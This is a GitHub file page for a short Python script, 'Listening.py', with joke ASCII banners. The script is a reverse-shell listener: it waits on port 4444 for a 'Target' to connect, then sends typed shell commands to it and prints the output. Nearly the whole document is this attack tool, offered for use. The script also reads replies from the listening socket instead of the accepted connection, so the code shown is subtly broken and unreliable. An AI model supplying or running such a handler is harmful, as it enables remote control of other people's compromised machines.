-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathListening.py
57 lines (46 loc) · 1.3 KB
/
Listening.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import pyfiglet
import socket,sys
ascii_banner = pyfiglet.figlet_format("@LaZa \n L1st3N1nG")
print(ascii_banner)
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = ''
port = 4444
try :
s.bind((host,port))
except socket.error as msg :
print('Bind Failed , Error : ' , msg)
sys.exit()
s.listen(10)
listening = pyfiglet.figlet_format("@ Hi-Hi .... i Hear You")
print(listening)
conn,addr = s.accept()
ip_target,port_target = addr
print('Targer =====> %s:%s\n'%(ip_target,port_target))
def exitfunc():
close = pyfiglet.figlet_format("Bye-Bye")
print(close)
conn.close()
s.close()
sys.exit()
while True :
try:
command = input('\n[shell:]#')
if command == "exit" :
conn.send(b'%s'%str(command).encode('utf-8'))
exitfunc()
elif command == "":
print('\n Shell must have a command')
else :
conn.send(b'%s'%str(command).encode('utf-8'))
data=b''
while True :
part = s.recv(4096)
data += part
if len(data) < 4096 :
break
if len(part) < 4096 :
break
print("\n"+data.decode("utf-8"))
except socket.error as msg:
print("Error :",msg)
exitfunc()